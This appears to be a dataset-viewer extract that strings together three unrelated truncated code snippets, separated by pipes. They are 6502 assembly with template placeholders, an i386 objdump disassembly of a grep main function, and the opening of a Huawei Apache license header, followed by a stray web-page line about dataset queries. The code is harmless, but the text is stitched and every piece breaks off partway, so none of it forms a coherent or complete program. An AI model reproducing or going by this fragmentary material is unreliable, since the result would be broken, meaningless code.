lda ({z1}),y
sta $fe
iny
lda ({z1}),y
sta $ff
ldy {m2}
lda ($fe),y
ora {c1},x
sta ($fe),y |
_grep: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
}
}
int
main(int argc, char *argv[])
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 57 push %edi
4: 56 push %esi
5: 53 p... |
/*
* Copyright (c) 2021 Huawei Device Co., Ltd.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.